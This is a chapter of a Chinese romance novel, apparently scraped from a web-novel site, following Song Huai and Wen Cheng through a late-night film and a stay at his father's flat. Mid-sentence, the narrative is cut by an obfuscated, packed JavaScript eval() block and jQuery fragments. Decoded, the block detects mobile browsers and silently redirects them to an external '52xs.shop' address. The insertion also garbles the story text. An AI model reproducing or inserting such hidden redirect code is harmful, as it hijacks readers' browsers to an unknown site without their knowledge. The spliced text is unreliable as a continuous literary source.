2023年，是口罩时代结束后的一年，平凡中不平凡的一年。
网络上对于23年的总结，罗列许多关键词，逃出大英博物馆、openai巨变，pdd市值超过阿里国际，海底捞科目三，哈尔滨火出圈，董宇辉事件，citywalk，还有，世界是个草台班子。
很多年后宋槐回忆起来，仍然记得他们那晚看夜场电影，在芸芸众生里，她和温诚只是微不足道、渺小不起眼的存在，他们也是别人生活里的背景板。
他们到华州市区后，进了万达影院。
临近新年的深夜，街道车流尾灯漫涌如金浆，灯光通明中又点缀着红灯笼，人群经久不散。宋槐买了电影票，一桶奶油爆米花，和他并排坐在电影幕布前。
影院内人也多，基本座无虚席，他们在第七排，往前看去黑压压一片。
宋槐看了他一眼，捕捉出他灵魂中的乐观，正常人发生追尾从交警大队出来后，应该气得几天睡不着。
而温诚到底是温诚，他反而兴致勃勃看电影。
那时的宋槐并不晓得车祸真相，只是问他：“修理费大概多少？我明天从银行取钱。”
温诚看着大屏幕里的消防安全广告，对她皱眉，“不用你给钱，你缺钱，我不要你的。”
“我不缺。”
宋槐绷直后背，欲想直视他眼睛，“我可以贷款。”
“宋槐，”温诚反驳宋槐，“你来劲儿了是不是，早告过你了，不用你花钱，哪个人愿意让女朋友花钱。”
说到“女朋友”，宋槐没话说了，一来因为逃避，二来是电影快开场，前排大哥回头看了眼她，那眼神仿佛在说：小情侣上外头闹别扭。
温诚似乎拿捏到了宋槐的豁口，找到可以令她柔软的东西。
她始终倔强，他便一直无赖。
大屏幕亮光赫然提高。
她借这光发现温诚的疲惫，他眼底血丝比上午更明显，下巴还显出泛青胡茬，他应该非常累，连续加班后还要跑长途，半中间被追尾，对方肇事逃逸，但骨相好的人总占优势，脸色再差，利落的五官总能撑起他一张好看的脸。
温诚察觉到她的目光，侧目看宋槐，刚要张口，宋槐食指竖到嘴边，示意他安静。
电影属于悬疑烧脑类型，但温诚太困了，所幸靠椅背睡过去，睡前还不忘握住宋槐的手，任凭她怎样挣扎、挣脱，他都和她十指紧扣。
十指紧扣的状态下，温诚彻底睡着。
他好累。
宋槐趁他熟睡要松手，却被他攥得更紧，这男人到底是不是装样子？
不清楚，只是她心里那片湖被投掷一颗石子。
水波荡漾，泛起涟漪。
他手指比她长一截，指甲修剪整齐干净，冒出一个个白月牙，冷色调皮肤上，血管根根排布，掌心的生命线一直牵到腕边，宋槐懂点儿手相，她小时候经常给别人看，现在仔细替他看，是个命很好的人，事业线有两条。
只可惜感情线断断续续。
-
温诚带着宋槐回落脚之处。
这是他2023年第一次住父亲家。
房子是高层，温诚给他买的，家具陈设简简单单，阳台养了只油嘴滑舌的鸟儿，有时会说几句流里流气的京片子。
老头是个豁达潇洒的人，和他非常像，上次回来还是22年春节，他除夕坐飞机回家，带着年货敲门，他爸看电视入迷了，愣是让他在门口等了五六分钟，他送金银饰品，翡翠珠宝，这些老爷子都不要，摆手说不喜欢。
父亲是个物欲不高的快乐老头，六十多岁精神矍铄，依旧钟爱去各地游山玩水，也算完成韩利初没有周游遍世界的遗憾，而温诚不同点在于，他什么都有要求，他的物欲在和快餐经济增长速度同样横行霸道，他要钻石，要名牌，要五感刺激，更要追求自己所喜欢的。
他很大胆。
他从不是懦夫。
温诚边上楼梯边评价自己，他这人永远绷着劲儿，从不向谁低头。
——除了宋槐。
“你带钥匙了么？”
“密码锁。”
“你还记得么？”她问。
“我想想。”
密码是他亲手设置的，但此刻他刚睡醒，还困着，大脑处于宕机状态，两人在门口站了十分钟才进去，进门后他换拖鞋，回头一看，宋槐像只呆头鹅站楼道呢。
他都没功夫笑话她，摆手让她进门。
宋槐在外面就开始脱鞋，穿袜子进屋，踩在灰色大理石瓷砖上，她站姿端正，边界感十足，太有分寸却又让温诚不自在。
“过了玄关直走，你晚上住那儿，帮你搬行李。”
宋槐推开他，“我自己来。”
客厅灯打开，宋槐按他说的走过去，门推开，看到屋内干净整洁，但没什么人气儿，一看就是他不常住，床头柜上摆着两个玩具，宋槐虽然不看也认得，是奥特曼，瞧着有些年头，温诚正朝她走去，“再给你换床被子。”
“不麻烦，就这样吧。”她很客气。
温诚靠着门，替她把卧室灯全打开，“火车票买了几张，有没有我的份儿。”
“没有，我一个人可以，你过年不回家么？我可能在内蒙待几个月。”
“不能跟着？”
她摇摇头。
“给你丢人了？”
俩人眼下顶着黑眼圈，都强装清醒闹别扭，温诚哪里是妥协的人，立马打开手机订票，执意要去内蒙看看，商务座没了，买的是站票。
他无所谓，站车顶上都行。
订上票，他垂眼扫见床头柜摆放的奥特曼，这不是迪迦，他已经忘了名字，应该是老头搬家时把他童年的“阿贝贝”一并带来，而如今二十多岁的他却觉得幼稚，他摆脱了不成熟的精神寄托，要不然多跌份儿啊？温诚一把握住玩具，随手塞进书柜里。
仅一秒的窘迫，却被宋槐实打实捕捉。
她没再说什么。
只是有点艳羡，毕竟她的童年需要一生去治愈，比起温诚，她更像个野孩子，那时她带着妹妹，怀里抱着小小的人儿，打开电视看动画，那会儿有卡酷卫视、金鹰卡通和少儿频道，金龟子，红果果绿泡泡。
妹妹看到西游记和葫芦兄弟，就特别开心，妹妹想拥有玩具，宋槐也愿意给她童年阿贝贝，可惜钱不够，要吃饭，要缴水电费，要生活，她实在没余力去负担了...
“睡这里行不行，不嫌弃我吧？”
温诚抬手指了指整齐洁净的床，玩笑似的问了一句。
他喜欢深色系，所以当时整个房间装修布置，都按灰黑色渐变着手，当时老爷子以为他会经常回，谁晓得他去外地上班，且定居。多年来他习惯了相处模式，互不干扰，各自生活，他心无旁骛工作赚钱，温政国也想不到催婚那茬，他在努力抑制父亲身上老一辈人的特色思想。
她当然没意见，展开行李箱拿洗漱用品，她带了很多，洗衣液，洗发水沐浴液，甚至有洗手液。
“你出去吧，我要休息了。”
宋槐睡前习惯穿那件纯棉白短袖，虽然领口已经洗泄了，但贴身，这是她的阿贝贝，不过拿衣服时不小心扯出内衣，黑色那件儿，她趁温诚不注意偷偷塞回去。
“你耳朵红什么，”他问的很戏谑，“脑子里想什么声色犬马的东西呢。”
“你怎么还不走。”宋槐有种被揭短的恼怒，敌对的说，“管得真宽。”
“神经病，”他真无语死了，“怼我好玩儿是吧，我一句你十句。”
宋槐看他疲倦的样子，心顺势软下来，语气柔和，“晚安。”
这回温诚不理她了，瞪她一眼调头离开。
温诚可不是受气包，他可厉害着呢，他这辈子碰过最硬的石头就属宋槐了，母亲去世后，他吃的苦头全来源于她。
只有主卧才配卫生间，宋槐这家没有，她缩进被窝，竖起耳朵听外面动静，等彻底安静，她就去刷牙洗脸。她习惯偷偷跑卫生间洗漱，小时候如此，长大住火锅店也一样。
她来望海第一天，物价高到惊掉下巴，酒店动辄五六百一晚。
她起先住地铁站，后来是青年旅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323674|149140||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
店，更像“三元旅馆”，一晚三十块，一屋子十八个人，上下铺，半夜噪音嘈杂，饮水机、洗衣机、呼噜声，吵得她和妹妹精神衰弱。后来是太空舱，几十块一天的便宜舱，像口棺材把她笼罩，很压抑，这辈子无法见天光。
她找工作吃了很多苦头，也不是刚来就认识孟衫阿金，她按招聘网说的去面试，说的不限学历，可hr的眼神仍旧让她不适，他说她你早干什么了？不多读书瞎混什么？她被贬得一无是处，毫无闪光点的石头块儿。
——永远不会发光的石头块儿。
今夜宋槐计划看行业资料，背外贸公式，但很累，马上睡着了。
第二天早晨六点二十的闹钟，温诚先被吵醒，他挺烦躁的，下床敲她的门，许久没人应，这才推门而入，替她关掉。
他精神衰弱，听到点儿动静就能起床。
宋槐倒是睡死沉。
温诚的气无处可撒，他甚至想把那破手机扔了。
他出去找床新蚕丝被，盖在宋槐身上。
又把窗帘拉紧，不允许一丝光窜进来。
房间又暗下不少。
宋槐分寸感极其强烈，她只搭了条边儿，侧身躺着，蜷缩成一团膝盖抵住胸口，双手环抱小腿，也是非常防备的姿态。温诚忽然不想离开，坐在床头柜上垂眼看她，她睡着的时候很乖，全身利刺被磨平，那张冷淡的脸变得温柔，更不会张嘴就拒绝他，惹他伤神，温诚听着她沉重的呼吸声，盯着她被电暖闷到泛红的耳朵，抬手，捏了一下。
“别动我。”她眼睛睁开一半，表情又变成他不喜欢的样子。
冷漠，而浑身带刺。
“几点了。”她问。
她尝试打掉温诚的手，无果，他反倒攥紧她的手腕，屋内电暖气十足，光线昏暗，她以眼神警告他松手，可温诚不以为然，就不放。
“你好意思问。”他气还没消。
“怎么了。”
“你闹铃是给我设的么？”
“不是啊。”
“我不管，反正你那破手机把我吵醒了。”他改成捏宋槐鼻子，“你睡得倒挺沉。”
“那是你睡眠质量的问题。”
“还狡辩，”温诚的手被她打下去，他站起身，“我是睡着了，不是睡死了。”
宋槐想翻身，却意外发现自己身上多了条被子，质感柔软，很轻薄。
“你睡相简直了，”温诚走前还不忘贬她一句，顺带骂她手机一句，“破手机。”
宋槐精神了，腾一下弹坐起来，望着门外背影，“管它破不破，能用就行。”
“......”温诚为自己倒杯凉白开，一口气喝完，“随便你。”说完就去厨房鼓捣早餐。
厨具壁柜里的东西，全在那次事件以后换新了。
父亲始终是个心软的老头，见不得年轻人受委屈，22年冬天，疫情刚放开，几个卖保健品的上门推销，老头看几个小伙子被冻得厉害，就把人带家里来，又是喝热水，又是吃水果，跟祖宗似的。
后来他过年回家，看到厨房一堆塑料罐装胶囊和软糖，他上网搜，发现是三无产品，质量无法保证，留下样瓶后当即全打包扔远。
温诚直接12315举报了，还和保健品公司的见了一面，公司的人很怵他，一个劲儿弯腰道歉，给老头上门送果篮，收拾屋子，温政国那颗心当即软了，开始拉偏架，告诉自家儿子得饶人处且饶人。
他哪里是个善茬，不收礼，不领情。
赶尽杀绝总比优柔寡断要强。
温诚就告诉那群人，“缺你们那点儿东西了？用你们收拾家了？当扫地机器人是摆设，还拿我当摆设呢？”
后来，老头拿这事儿说他，“你出社会几年，能耐了啊？除了吵架还会什么说来听听啊。”
“是啊，长本事了，”他笑着，有意逗老头玩儿，“还会抽烟喝酒了。”
-
宋槐不晓得他的心路历程，只是裹上毛衣站厨房门口时，
听到他这么讲，“人善不仅被人欺，还被人骑，你以后小心点儿。”